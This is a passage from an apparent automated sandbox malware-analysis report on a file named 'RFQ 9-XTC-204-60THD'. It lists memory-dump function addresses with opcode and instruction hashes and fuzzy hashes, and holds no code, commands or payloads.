                                                                                                      • Instruction Fuzzy Hash: D8F0A070D0A348EFC785EFB4A8042DEFBB5EB45200F0081EAD858A3391D2358B01CF91
                                                                                                      Function 06E4A77A Relevance: .0, Instructions: 29COMMON
                                                                                                      Download Yara Rule
                                                                                                      Memory Dump Source
                                                                                                      • Source File: 00000000.00000002.1573935196.0000000006E40000.00000040.00000800.00020000.00000000.sdmp, Offset: 06E40000, based on PE: false
                                                                                                      Joe Sandbox IDA Plugin
                                                                                                      • Snapshot File: hcaresult_0_2_6e40000_RFQ 9-XTC-204-60THD.jbxd
                                                                                                      Similarity
                                                                                                      • API ID:
                                                                                                      • String ID:
                                                                                                      • API String ID:
                                                                                                      • Opcode ID: 375f6727a37bacdb230b483e31ad593ec6e51496ecdc221b8cb07e5321a2a8b4
                                                                                                      • Instruction ID: c8f0f176a8ccfc65141ad97c20524b9bb360f41be26a4228718507c944862411
                                                                                                      • Opcode Fuzzy Hash: 375f6727a37bacdb230b483e31ad593ec6e51496ecdc221b8cb07e5321a2a8b4
                                                                                                      • Instruction Fuzzy Hash: 9401A434A44215DFD790DF18E888BEDBBB1FB44314F1080A5E419E3698EB355D96CF10
                                                                                                      Function 06E4AA2A Relevance: .0, Instructions: 29COMMON
                                                                                                      Download Yara Rule
                                                                                                      Memory Dump Source
                                                                                                      • Source File: 00000000.00000002.1573935196.0000000006E40000.00000040.00000800.00020000.00000000.sdmp, Offset: 06E40000, based on PE: false
                                                                                                      Joe Sandbox IDA Plugin
                                                                                                      • Snapshot File: hcaresult_0_2_6e40000_RFQ 9-XTC-204-60THD.jbxd
                                                                                                      Similarity
                                                                                                      • API ID:
                                                                                                      • String ID:
                                                                                                      • API String ID:
                                                                                                      • Opcode ID: 289fdd27e7a1ef64ee79b8d86b54c9c3d580901564ce66f65d3386fc6cbabadf
                                                                                                      • Instruction ID: cb44a6f9bcbf820488d4e4d260c79fef7ce5b67093337d61db6c3479e454763c
                                                                                                      • Opcode Fuzzy Hash: 289fdd27e7a1ef64ee79b8d86b54c9c3d580901564ce66f65d3386fc6cbabadf
                                                                                                      • Instruction Fuzzy Hash: CA01C474A00258CFDB90DF24E9457DD77B2EB88345F1085D9990AF7348DB306E998F60
                                                                                                      Function 06E4AC57 Relevance: .0, Instructions: 28COMMON
                                                                                                      Download Yara Rule
                                                                                                      Memory Dump Source
                                                                                                      • Source File: 00000000.00000002.1573935196.0000000006E40000.00000040.00000800.00020000.00000000.sdmp, Offset: 06E40000, based on PE: false
                                                                                                      Joe Sandbox IDA Plugin
                                                                                                      • Snapshot File: hcaresult_0_2_6e40000_RFQ 9-XTC-204-60THD.jbxd
                                                                                                      Similarity
                                                                                                      • API ID:
                                                                                                      • String ID:
                                                                                                      • API String ID:
                                                                                                      • Opcode ID: dca310da4480cba1ecb7c4744f1cf4f87d14e7e726ba5b864e6a295a549a552d
                                                                                                      • Instruction ID: c3a27fafc58e264077466fd7f4d94c3ae649f403f7c1998ec26aae4c2c97d083
                                                                                                      • Opcode Fuzzy Hash: dca310da4480cba1ecb7c4744f1cf4f87d14e7e726ba5b864e6a295a549a552d
                                                                                                      • Instruction Fuzzy Hash: F9F01970A00208DFDB14EF29E88479DB7B2FB48310F1080A9E909A3358EB306D858F11
                                                                                                      Function 06E4AE1F Relevance: .0, Instructions: 26COMMON
                                                                                                      Download Yara Rule
                                                                                                      Memory Dump Source
                                                                                                      • Source File: 00000000.00000002.1573935196.0000000006E40000.00000040.00000800.00020000.00000000.sdmp, Offset: 06E40000, based on PE: false
                                                                                                      Joe Sandbox IDA Plugin
                                                                                                      • Snapshot File: hcaresult_0_2_6e40000_RFQ 9-XTC-204-60THD.jbxd
                                                                                                      Similarity
                                                                                                      • API ID:
                                                                                                      • String ID:
                                                                                                      • API String ID:
                                                                                                      • Opcode ID: f447c33182801ba16543c960a1e5c0bb8f6883b9f61fdac3569a847cc3554858
                                                                                                      • Instruction ID: 2b1c0714c2e5cb60a4bdac3402f1d57334c0e6a6a76ed94d7106df02f990942f
                                                                                                      • Opcode Fuzzy Hash: f447c33182801ba16543c960a1e5c0bb8f6883b9f61fdac3569a847cc3554858
                                                                                                      • Instruction Fuzzy Hash: 35F04974A40209DFDB60EF28E488BACB7B1FB04310F5040A9F805A3789EB306D86CF50
                                                                                                      Function 06E4A839 Relevance: .0, Instructions: 26COMMON
                                                                                                      Download Yara Rule
                                                                                                      Memory Dump Source
                                                                                                      • Source File: 00000000.00000002.1573935196.0000000006E40000.00000040.00000800.00020000.00000000.sdmp, Offset: 06E40000, based on PE: false
                                                                                                      Joe Sandbox IDA Plugin
                                                                                                      • Snapshot File: hcaresult_0_2_6e40000_RFQ 9-XTC-204-60THD.jbxd
                                                                                                      Similarity
                                                                                                      • API ID:
                                                                                                      • String ID:
                                                                                                      • API String ID:
                                                                                                      • Opcode ID: 19eeacd4bf6ba781c8ea61fa4ff147a3f6b2891405f72c5875bb0b0a278732eb
                                                                                                      • Instruction ID: cbca2cda6269ecbde173c7d95b37a29cabf81aa8071b27466fdcf2d06ff77346
                                                                                                      • Opcode Fuzzy Hash: 19eeacd4bf6ba781c8ea61fa4ff147a3f6b2891405f72c5875bb0b0a278732eb
                                                                                                      • Instruction Fuzzy Hash: B5F0E734A40218DFDB51EF28E888BDC7BB2FB48315F1040A8E909A7399D7716D858F51
                                                                                                      Function 06E4A9B6 Relevance: .0, Instructions: 26COMMON
                                                                                                      Download Yara Rule
                                                                                                      Memory Dump Source
                                                                                                      • Source File: 00000000.00000002.1573935196.0000000006E40000.00000040.00000800.00020000.00000000.sdmp, Offset: 06E40000, based on PE: false
                                                                                                      Joe Sandbox IDA Plugin
                                                                                                      • Snapshot File: hcaresult_0_2_6e40000_RFQ 9-XTC-204-60THD.jbxd
                                                                                                      Similarity
                                                                                                      • API ID:
                                                                                                      • String ID:
                                                                                                      • API String ID:
                                                                                                      • Opcode ID: 9785e26be6f5b5cfac85ccd767174c084f69b96743010c788b5d31eb91d413ab
                                                                                                      • Instruction ID: cedcc4336ce37040818c0b1efcf773b821577daf8f2616951cd2f92f6a1d9c7f
                                                                                                      • Opcode Fuzzy Hash: 9785e26be6f5b5cfac85ccd767174c084f69b96743010c788b5d31eb91d413ab
                                                                                                      • Instruction Fuzzy Hash: 11F0E734941708DFDB60EFA8E4897ACBBB1FB45315F1040A9E905A7398DB31AE858F21
                                                                                                      Function 06E4D128 Relevance: .0, Instructions: 26COMMON
                                                                                                      Download Yara Rule
                                                                                                      Memory Dump Source
                                                                                                      • Source File: 00000000.00000002.1573935196.0000000006E40000.00000040.00000800.00020000.00000000.sdmp, Offset: 06E40000, based on PE: false
                                                                                                      Joe Sandbox IDA Plugin
                                                                                                      • Snapshot File: hcaresult_0_2_6e40000_RFQ 9-XTC-204-60THD.jbxd
                                                                                                      Similarity
                                                                                                      • API ID:
                                                                                                      • String ID:
                                                                                                      • API String ID:
                                                                                                      • Opcode ID: 4ce417b6ec6584d43e79e1917e3331d86d55f1dfa77ad6754c4cbc5886715c1a
                                                                                                      • Instruction ID: 42c9ba1047594ac48e78f3a265c3c08987d9e8c09cde5f786c00407b683b59f6
                                                                                                      • Opcode Fuzzy Hash: 4ce417b6ec6584d43e79e1917e3331d86d55f1dfa77ad6754c4cbc5886715c1a
                                                                                                      • Instruction Fuzzy Hash: BAF0E53090939CBFC702DB7499056AEBBE9CB46310F1442D9E4049B182D6314F00D7A1
                                                                                                      Function 06E4F910 Relevance: .0, Instructions: 26COMMON
                                                                                                      Download Yara Rule
                                                                                                      Memory Dump Source
                                                                                                      • Source File: 00000000.00000002.1573935196.0000000006E40000.00000040.00000800.00020000.00000000.sdmp, Offset: 06E40000, based on PE: false
                                                                                                      Joe Sandbox IDA Plugin
                                                                                                      • Snapshot File: hcaresult_0_2_6e40000_RFQ 9-XTC-204-60THD.jbxd
                                                                                                      Similarity
                                                                                                      • API ID:
                                                                                                      • String ID:
                                                                                                      • API String ID:
                                                                                                      • Opcode ID: bce351a159d918af2d666b039f10d0216a4c909b7996b4c656c0afe3c3141465
                                                                                                      • Instruction ID: be397e9d0e67c4ac1d2e79bb0ed5027786ba16a8aa9f071794786f35888d10a6
                                                                                                      • Opcode Fuzzy Hash: bce351a159d918af2d666b039f10d0216a4c909b7996b4c656c0afe3c3141465
                                                                                                      • Instruction Fuzzy Hash: 7FF03931A04328ABCB09DFAAE04C6DDBFBBAB84664F148099E24596240DB711A81CB84
                                                                                                      Function 072A8480 Relevance: .0, Instructions: 26COMMON
                                                                                                      Download Yara Rule
                                                                                                      Memory Dump Source
                                                                                                      • Source File: 00000000.00000002.1575623984.00000000072A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 072A0000, based on PE: false
                                                                                                      Joe Sandbox IDA Plugin
                                                                                                      • Snapshot File: hcaresult_0_2_72a0000_RFQ 9-XTC-204-60THD.jbxd
                                                                                                      Similarity
                                                                                                      • API ID:
                                                                                                      • String ID:
                                                                                                      • API String ID:
                                                                                                      • Opcode ID: 325e6aa0563d593723f9da94e5b3f56d9123d81ada4e31841a1abc0c020d48be
                                                                                                      • Instruction ID: 5f48434142e5e635a340d2547f3e98e323f2491565cb1b710ca7d4d74aab0204
                                                                                                      • Opcode Fuzzy Hash: 325e6aa0563d593723f9da94e5b3f56d9123d81ada4e31841a1abc0c020d48be
                                                                                                      • Instruction Fuzzy Hash: C8E02BB66197120FC712462D9C102863BF7AB812307164B6FC081C7692F728CC024761
                                                                                                      Function 072A10C8 Relevance: .0, Instructions: 26COMMON
                                                                                                      Download Yara Rule
                                                                                                      Memory Dump Source
                                                                                                      • Source File: 00000000.00000002.1575623984.00000000072A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 072A0000, based on PE: false
                                                                                                      Joe Sandbox IDA Plugin
                                                                                                      • Snapshot File: hcaresult_0_2_72a0000_RFQ 9-XTC-204-60THD.jbxd
                                                                                                      Similarity
                                                                                                      • API ID:
                                                                                                      • String ID:
                                                                                                      • API String ID:
                                                                                                      • Opcode ID: e2fb900da1af54287b93bde2dc0852ef521a5e1557403d95ebee77cb8d4f3185
                                                                                                      • Instruction ID: 94fae52de4c4c7e1fad56e968c55073871863befe5966eaa2fc89e1a4a1e958d
                                                                                                      • Opcode Fuzzy Hash: e2fb900da1af54287b93bde2dc0852ef521a5e1557403d95ebee77cb8d4f3185
                                                                                                      • Instruction Fuzzy Hash: B8E09275315254AFC7088A19D444CDA77AADF952217150066F906C7221CA60DC15CBE1
                                                                                                      Function 072EFEE8 Relevance: .0, Instructions: 26COMMON
                                                                                                      Download Yara Rule
                                                                                                      Memory Dump Source
                                                                                                      • Source File: 00000000.00000002.1575688740.00000000072D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 072D0000, based on PE: false
                                                                                                      Joe Sandbox IDA Plugin
                                                                                                      • Snapshot File: hcaresult_0_2_72d0000_RFQ 9-XTC-204-60THD.jbxd
                                                                                                      Similarity
                                                                                                      • API ID:
                                                                                                      • String ID:
                                                                                                      • API String ID:
                                                                                                      • Opcode ID: bf95b74f3ddad132af5bdda1e926fbbf4683700823622671b37b2a802b4ebcd7
                                                                                                      • Instruction ID: 8565973bd08700706854b91ce85fa7a20d9c09580570c7b77af23bc9018edb56
                                                                                                      • Opcode Fuzzy Hash: bf95b74f3ddad132af5bdda1e926fbbf4683700823622671b37b2a802b4ebcd7
                                                                                                      • Instruction Fuzzy Hash: ADF01575D18208EFDB40EFA5E1097ACBBF9EB49205F5081AA9C05A3790D6789A44CF51
                                                                                                      Function 072A6E38 Relevance: .0, Instructions: 25COMMON
                                                                                                      Download Yara Rule
                                                                                                      Memory Dump Source
                                                                                                      • Source File: 00000000.00000002.1575623984.00000000072A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 072A0000, based on PE: false
                                                                                                      Joe Sandbox IDA Plugin
                                                                                                      • Snapshot File: hcaresult_0_2_72a0000_RFQ 9-XTC-204-60THD.jbxd
                                                                                                      Similarity
                                                                                                      • API ID:
                                                                                                      • String ID:
                                                                                                      • API String ID:
                                                                                                      • Opcode ID: aedd32ab0826f2c5415bdeb07039f9db84c2b89a944b972a8c8918c04b439f1c
                                                                                                      • Instruction ID: ab56e7b1116cc149b01d4def4288e4179b9db8df1b348f3bbc948d70191ebaee
                                                                                                      • Opcode Fuzzy Hash: aedd32ab0826f2c5415bdeb07039f9db84c2b89a944b972a8c8918c04b439f1c
                                                                                                      • Instruction Fuzzy Hash: 6FE0123130031D57C710DA16E88488BF79AEFC0674710C639A10A8B215DE74ED068A94
                                                                                                      Function 06E49A40 Relevance: .0, Instructions: 24COMMON
                                                                                                      Download Yara Rule
                                                                                                      Memory Dump Source
                                                                                                      • Source File: 00000000.00000002.1573935196.0000000006E40000.00000040.00000800.00020000.00000000.sdmp, Offset: 06E40000, based on PE: false
                                                                                                      Joe Sandbox IDA Plugin
                                                                                                      • Snapshot File: hcaresult_0_2_6e40000_RFQ 9-XTC-204-60THD.jbxd
                                                                                                      Similarity
                                                                                                      • API ID:
                                                                                                      • String ID:
                                                                                                      • API String ID:
                                                                                                      • Opcode ID: 0b67231d55ef3aa77dc9ef629feeaecb8044a7aec234bcf79cc968221b4e8404
                                                                                                      • Instruction ID: 449bfdeb0824e7852b7d7d954da67528eda9b99bd5f4d4b2ee53cdbbbe8e316a
                                                                                                      • Opcode Fuzzy Hash: 0b67231d55ef3aa77dc9ef629feeaecb8044a7aec234bcf79cc968221b4e8404
                                                                                                      • Instruction Fuzzy Hash: E6E06D75D5A385DFEB86EF74A8482DDBFB4AB46204F1040EAD88992212D2340F45DF11
                                                                                                      Function 072D2372 Relevance: .0, Instructions: 24COMMON
                                                                                                      Download Yara Rule
                                                                                                      Memory Dump Source
                                                                                                      • Source File: 00000000.00000002.1575688740.00000000072D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 072D0000, based on PE: false
                                                                                                      Joe Sandbox IDA Plugin
                                                                                                      • Snapshot File: hcaresult_0_2_72d0000_RFQ 9-XTC-204-60THD.jbxd
                                                                                                      Similarity
                                                                                                      • API ID:
                                                                                                      • String ID:
                                                                                                      • API String ID:
                                                                                                      • Opcode ID: 7c0e92af98c54e17f384590190e4c8c1d676544a2a5b1d3738df3a3e616a9416
                                                                                                      • Instruction ID: 071f0afc5ad596302511eb9654aa012a57671d76125e7b2f1525cc455cfcb8f1
                                                                                                      • Opcode Fuzzy Hash: 7c0e92af98c54e17f384590190e4c8c1d676544a2a5b1d3738df3a3e616a9416
                                                                                                      • Instruction Fuzzy Hash: EBF08CB8A19128CFDB20EF14E8946E9B370FB48314F0401E5D41EA3640E7B01E84CF51
                                                                                                      Function 072EFDF8 Relevance: .0, Instructions: 24COMMON
                                                                                                      Download Yara Rule
                                                                                                      Memory Dump Source
                                                                                                      • Source File: 00000000.00000002.1575688740.00000000072D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 072D0000, based on PE: false
                                                                                                      Joe Sandbox IDA Plugin
                                                                                                      • Snapshot File: hcaresult_0_2_72d0000_RFQ 9-XTC-204-60THD.jbxd
                                                                                                      Similarity
                                                                                                      • API ID:
                                                                                                      • String ID:
                                                                                                      • API String ID:
                                                                                                      • Opcode ID: 13fcf964375a6efd8a2f8b06ecfba13266128fe964616914af7187c9b92fa814
                                                                                                      • Instruction ID: bbf790e20cd9904d604648d8ca1c3840f5aa74fa2cc8aaf4e190cda5eb92e4eb
                                                                                                      • Opcode Fuzzy Hash: 13fcf964375a6efd8a2f8b06ecfba13266128fe964616914af7187c9b92fa814
                                                                                                      • Instruction Fuzzy Hash: 67F06574D18248EFDB84DFA5E10566DBBF5EB49204F1080A9CC15A3341E6385E10CF61
                                                                                                      Function 072A1A90 Relevance: .0, Instructions: 23COMMON
                                                                                                      Download Yara Rule
                                                                                                      Memory Dump Source
                                                                                                      • Source File: 00000000.00000002.1575623984.00000000072A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 072A0000, based on PE: false
                                                                                                      Joe Sandbox IDA Plugin
                                                                                                      • Snapshot File: hcaresult_0_2_72a0000_RFQ 9-XTC-204-60THD.jbxd
                                                                                                      Similarity
                                                                                                      • API ID:
                                                                                                      • String ID:
                                                                                                      • API String ID:
                                                                                                      • Opcode ID: efd302ea0961ef3c5fec29dce22702680574fb4b0fe560bc497a9816353de46d
                                                                                                      • Instruction ID: 478c52e7b109e27742e3b3fe4b36f5b1e27a68b1bc85f5b069b45d64bfbe84be
                                                                                                      • Opcode Fuzzy Hash: efd302ea0961ef3c5fec29dce22702680574fb4b0fe560bc497a9816353de46d
                                                                                                      • Instruction Fuzzy Hash: 92E0CD7032032DABD7A066B05C0575533E9AF47770F644469D6065F2C5D9F2EC11C755
                                                                                                      Function 072EDE10 Relevance: .0, Instructions: 23COMMON
                                                                                                      Download Yara Rule
                                                                                                      Memory Dump Source
                                                                                                      • Source File: 00000000.00000002.1575688740.00000000072D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 072D0000, based on PE: false
                                                                                                      Joe Sandbox IDA Plugin
                                                                                                      • Snapshot File: hcaresult_0_2_72d0000_RFQ 9-XTC-204-60THD.jbxd
                                                                                                      Similarity
                                                                                                      • API ID:
                                                                                                      • String ID:
                                                                                                      • API String ID:
                                                                                                      • Opcode ID: 2f4badd2a3da46925ef9dae3702a8d4e04f549da5b872b2de8f565f750a682d7
                                                                                                      • Instruction ID: 95c8283c7ccdfc02440e6683f74d051f66aa772141d16e4b2edd790f3b614e82
                                                                                                      • Opcode Fuzzy Hash: 2f4badd2a3da46925ef9dae3702a8d4e04f549da5b872b2de8f565f750a682d7
                                                                                                      • Instruction Fuzzy Hash: 25E039B4E04208EFCB84DFA8D5446ACFBF4EB48300F10C0AA980893300D6319E01DF40
                                                                                                      Function 072EBDA0 Relevance: .0, Instructions: 23COMMON
                                                                                                      Download Yara Rule
                                                                                                      Memory Dump Source
                                                                                                      • Source File: 00000000.00000002.1575688740.00000000072D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 072D0000, based on PE: false
                                                                                                      Joe Sandbox IDA Plugin
                                                                                                      • Snapshot File: hcaresult_0_2_72d0000_RFQ 9-XTC-204-60THD.jbxd
                                                                                                      Similarity
                                                                                                      • API ID:
                                                                                                      • String ID:
                                                                                                      • API String ID:
                                                                                                      • Opcode ID: 2f4badd2a3da46925ef9dae3702a8d4e04f549da5b872b2de8f565f750a682d7
                                                                                                      • Instruction ID: 49d18a23f8345c122e6a8ca028838db014623865b57194386fa6b84a11f1180a
                                                                                                      • Opcode Fuzzy Hash: 2f4badd2a3da46925ef9dae3702a8d4e04f549da5b872b2de8f565f750a682d7
                                                                                                      • Instruction Fuzzy Hash: 69E0C9B4E14208EFCB84DFA8D544A9CFBF5EB88300F10C1AA981993350D6359A51DF44
                                                                                                      Function 072E6020 Relevance: .0, Instructions: 23COMMON
                                                                                                      Download Yara Rule
                                                                                                      Memory Dump Source
                                                                                                      • Source File: 00000000.00000002.1575688740.00000000072D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 072D0000, based on PE: false
                                                                                                      Joe Sandbox IDA Plugin
                                                                                                      • Snapshot File: hcaresult_0_2_72d0000_RFQ 9-XTC-204-60THD.jbxd
                                                                                                      Similarity
                                                                                                      • API ID:
                                                                                                      • String ID:
                                                                                                      • API String ID:
                                                                                                      • Opcode ID: 2f4badd2a3da46925ef9dae3702a8d4e04f549da5b872b2de8f565f750a682d7
                                                                                                      • Instruction ID: d638f6211609b6377e0fa21ad3b7823824c590e2831a7708c5c7f9fd039e1c02
                                                                                                      • Opcode Fuzzy Hash: 2f4badd2a3da46925ef9dae3702a8d4e04f549da5b872b2de8f565f750a682d7
                                                                                                      • Instruction Fuzzy Hash: DFE0C9B4E18208EFCB94DFA8D54469CFBF5FB48300F10C1AA981993351D6359A51DF44
                                                                                                      Function 072EA858 Relevance: .0, Instructions: 23COMMON
                                                                                                      Download Yara Rule
                                                                                                      Memory Dump Source
                                                                                                      • Source File: 00000000.00000002.1575688740.00000000072D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 072D0000, based on PE: false
                                                                                                      Joe Sandbox IDA Plugin
                                                                                                      • Snapshot File: hcaresult_0_2_72d0000_RFQ 9-XTC-204-60THD.jbxd
                                                                                                      Similarity
                                                                                                      • API ID:
                                                                                                      • String ID:
                                                                                                      • API String ID:
                                                                                                      • Opcode ID: 2f4badd2a3da46925ef9dae3702a8d4e04f549da5b872b2de8f565f750a682d7
                                                                                                      • Instruction ID: b635549b0bd12c0be3492d6148ae12fc2f406771011c5cfe9808436d2aea985f
                                                                                                      • Opcode Fuzzy Hash: 2f4badd2a3da46925ef9dae3702a8d4e04f549da5b872b2de8f565f750a682d7
                                                                                                      • Instruction Fuzzy Hash: 23E0C9B4D14208EFCB44DFA8D5446ACFBF5EB48300F10C1AAE84993350D6359A52DF44
                                                                                                      Function 06E4C638 Relevance: .0, Instructions: 22COMMON
                                                                                                      Download Yara Rule
                                                                                                      Memory Dump Source
                                                                                                      • Source File: 00000000.00000002.1573935196.0000000006E40000.00000040.00000800.00020000.00000000.sdmp, Offset: 06E40000, based on PE: false
                                                                                                      Joe Sandbox IDA Plugin
                                                                                                      • Snapshot File: hcaresult_0_2_6e40000_RFQ 9-XTC-204-60THD.jbxd
                                                                                                      Similarity
                                                                                                      • API ID:
                                                                                                      • String ID:
                                                                                                      • API String ID:
                                                                                                      • Opcode ID: 46d04cc511d8672afd2bc0c6d1f53aa238c428556ea42bf8dc19ad7aa623c0ab
                                                                                                      • Instruction ID: 547377892239f505bf8818fca77380c3096f085ed548884d9093f6ad1a78167b
                                                                                                      • Opcode Fuzzy Hash: 46d04cc511d8672afd2bc0c6d1f53aa238c428556ea42bf8dc19ad7aa623c0ab
                                                                                                      • Instruction Fuzzy Hash: B6E0ED74D05208EFCB84DFA8E5446ACF7F4EB48704F20D1E9C81993341D6359A02DF84
                                                                                                      Function 06E4A438 Relevance: .0, Instructions: 22COMMON
                                                                                                      Download Yara Rule
                                                                                                      Memory Dump Source
                                                                                                      • Source File: 00000000.00000002.1573935196.0000000006E40000.00000040.00000800.00020000.00000000.sdmp, Offset: 06E40000, based on PE: false
                                                                                                      Joe Sandbox IDA Plugin
                                                                                                      • Snapshot File: hcaresult_0_2_6e40000_RFQ 9-XTC-204-60THD.jbxd
                                                                                                      Similarity
                                                                                                      • API ID:
                                                                                                      • String ID:
                                                                                                      • API String ID:
                                                                                                      • Opcode ID: b156485607c467aef35b4c1ae4d560471c7fd6fe65f58d8324867048089ff0b0
                                                                                                      • Instruction ID: 1ed90d054e3df042bb9ce3ad359a44139284135076486c8111124d1801dc3d1e
                                                                                                      • Opcode Fuzzy Hash: b156485607c467aef35b4c1ae4d560471c7fd6fe65f58d8324867048089ff0b0
                                                                                                      • Instruction Fuzzy Hash: EAF05E709052188FDB90DF28E889BDDBBB1FF04310F0040D9D909A3389DA341E88CF60
                                                                                                      Function 06E4B5F8 Relevance: .0, Instructions: 22COMMON
                                                                                                      Download Yara Rule
                                                                                                      Memory Dump Source
                                                                                                      • Source File: 00000000.00000002.1573935196.0000000006E40000.00000040.00000800.00020000.00000000.sdmp, Offset: 06E40000, based on PE: false
                                                                                                      Joe Sandbox IDA Plugin
                                                                                                      • Snapshot File: hcaresult_0_2_6e40000_RFQ 9-XTC-204-60THD.jbxd
                                                                                                      Similarity
                                                                                                      • API ID:
                                                                                                      • String ID:
                                                                                                      • API String ID:
                                                                                                      • Opcode ID: 46d04cc511d8672afd2bc0c6d1f53aa238c428556ea42bf8dc19ad7aa623c0ab
                                                                                                      • Instruction ID: 62d300a73e1cd63b0782428563f6155b233ee15f4e6fc9749465ce72389f6029
                                                                                                      • Opcode Fuzzy Hash: 46d04cc511d8672afd2bc0c6d1f53aa238c428556ea42bf8dc19ad7aa623c0ab
                                                                                                      • Instruction Fuzzy Hash: 91E0ED74D04208EFCB84DFA8D5446ACF7F4EB48204F10C1E9C81993340D635AE02CF40
                                                                                                      Function 06E46829 Relevance: .0, Instructions: 22COMMON
                                                                                                      Download Yara Rule
                                                                                                      Memory Dump Source
                                                                                                      • Source File: 00000000.00000002.1573935196.0000000006E40000.00000040.00000800.00020000.00000000.sdmp, Offset: 06E40000, based on PE: false
                                                                                                      Joe Sandbox IDA Plugin
                                                                                                      • Snapshot File: hcaresult_0_2_6e40000_RFQ 9-XTC-204-60THD.jbxd
                                                                                                      Similarity
                                                                                                      • API ID:
                                                                                                      • String ID:
                                                                                                      • API String ID:
                                                                                                      • Opcode ID: 30ae6c0010183efbc6d1fbb58b823cac4f9130327a2887f76954a01a5e7220e9
                                                                                                      • Instruction ID: 7b9667491f64f11041411f6444037aae188120488c80899394ca66c4f5a6ba94
                                                                                                      • Opcode Fuzzy Hash: 30ae6c0010183efbc6d1fbb58b823cac4f9130327a2887f76954a01a5e7220e9
                                                                                                      • Instruction Fuzzy Hash: 5BF03934E04328DFEB609F26E8047DDB370EB46324F01A1E6C08DA2600CBB80EC18F41
                                                                                                      Function 072A10D8 Relevance: .0, Instructions: 22COMMON
                                                                                                      Download Yara Rule
                                                                                                      Memory Dump Source
                                                                                                      • Source File: 00000000.00000002.1575623984.00000000072A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 072A0000, based on PE: false
                                                                                                      Joe Sandbox IDA Plugin
                                                                                                      • Snapshot File: hcaresult_0_2_72a0000_RFQ 9-XTC-204-60THD.jbxd
                                                                                                      Similarity
                                                                                                      • API ID:
                                                                                                      • String ID:
                                                                                                      • API String ID:
                                                                                                      • Opcode ID: 1e06f3c64b17c7c03419da320a517e11f7ff35df575dc86c8e3bf4da8a22065a
                                                                                                      • Instruction ID: bd74d320955c25068a24d73283002cf29c1ae05ae1e8bce93d22cfcf41574f01
                                                                                                      • Opcode Fuzzy Hash: 1e06f3c64b17c7c03419da320a517e11f7ff35df575dc86c8e3bf4da8a22065a
                                                                                                      • Instruction Fuzzy Hash: 32E08C72314168AF8308DA0EE488CAA77AEEFC976171400BAF60AC7230CA71DC01CB90
                                                                                                      Function 072ED530 Relevance: .0, Instructions: 22COMMON
                                                                                                      Download Yara Rule
                                                                                                      Memory Dump Source
                                                                                                      • Source File: 00000000.00000002.1575688740.00000000072D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 072D0000, based on PE: false
                                                                                                      Joe Sandbox IDA Plugin
                                                                                                      • Snapshot File: hcaresult_0_2_72d0000_RFQ 9-XTC-204-60THD.jbxd
                                                                                                      Similarity
                                                                                                      • API ID:
                                                                                                      • String ID:
                                                                                                      • API String ID:
                                                                                                      • Opcode ID: 83f672d9ba2a45f7bb3d946aeb35a1f1965454b30b75a3072bfe3e8d7c1165fa
                                                                                                      • Instruction ID: da6ebf0d7d59815e4bef2d4c23daec64b901391a9c85e161165804cc7e236614
                                                                                                      • Opcode Fuzzy Hash: 83f672d9ba2a45f7bb3d946aeb35a1f1965454b30b75a3072bfe3e8d7c1165fa
                                                                                                      • Instruction Fuzzy Hash: CEE0EDB4E14208EFC784DFA8D54569CF7F4EB88204F10C1A9881993340D6359A01CF41
                                                                                                      Function 06E499D0 Relevance: .0, Instructions: 21COMMON
                                                                                                      Download Yara Rule
                                                                                                      Memory Dump Source
                                                                                                      • Source File: 00000000.00000002.1573935196.0000000006E40000.00000040.00000800.00020000.00000000.sdmp, Offset: 06E40000, based on PE: false
                                                                                                      Joe Sandbox IDA Plugin
                                                                                                      • Snapshot File: hcaresult_0_2_6e40000_RFQ 9-XTC-204-60THD.jbxd
                                                                                                      Similarity
                                                                                                      • API ID:
                                                                                                      • String ID:
                                                                                                      • API String ID:
                                                                                                      • Opcode ID: bee94de964af83f40537c3005c2613720ffdd087aa73ea3a4a7cb9276329dfde
                                                                                                      • Instruction ID: 683e8f74740e0784600f9ab76202b194b50aa77d2a354e59e9f517597d70b56b
                                                                                                      • Opcode Fuzzy Hash: bee94de964af83f40537c3005c2613720ffdd087aa73ea3a4a7cb9276329dfde
                                                                                                      • Instruction Fuzzy Hash: D5E01A70D09308EFCB84EFB9E44429DB7F5EB88200F1081AAC819A3350D6369A40CF80
                                                                                                      Function 072AEE11 Relevance: .0, Instructions: 21COMMON
                                                                                                      Download Yara Rule
                                                                                                      Memory Dump Source
                                                                                                      • Source File: 00000000.00000002.1575623984.00000000072A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 072A0000, based on PE: false
                                                                                                      Joe Sandbox IDA Plugin
                                                                                                      • Snapshot File: hcaresult_0_2_72a0000_RFQ 9-XTC-204-60THD.jbxd
                                                                                                      Similarity
                                                                                                      • API ID:
                                                                                                      • String ID:
                                                                                                      • API String ID:
                                                                                                      • Opcode ID: 6a064213b15c177bdd65bfddae6693e053f71e0dbe2062f219b2d915c1d0086a
                                                                                                      • Instruction ID: b396b37ab932cba9f984443db3de0055588c2d2489c17c30e55b629822d447b4
                                                                                                      • Opcode Fuzzy Hash: 6a064213b15c177bdd65bfddae6693e053f71e0dbe2062f219b2d915c1d0086a
                                                                                                      • Instruction Fuzzy Hash: B0E01271454354DFD3A29F40E449B967B61FB55318F4750A9D9858F063E7318C02CB96
                                                                                                      Function 06E4AFD8 Relevance: .0, Instructions: 20COMMON
                                                                                                      Download Yara Rule
                                                                                                      Memory Dump Source
                                                                                                      • Source File: 00000000.00000002.1573935196.0000000006E40000.00000040.00000800.00020000.00000000.sdmp, Offset: 06E40000, based on PE: false
                                                                                                      Joe Sandbox IDA Plugin
                                                                                                      • Snapshot File: hcaresult_0_2_6e40000_RFQ 9-XTC-204-60THD.jbxd
                                                                                                      Similarity
                                                                                                      • API ID:
                                                                                                      • String ID:
                                                                                                      • API String ID:
                                                                                                      • Opcode ID: a788a0ac8b74d311e10bffebbf87d9cd39058e8da9530df530580d619b100f55
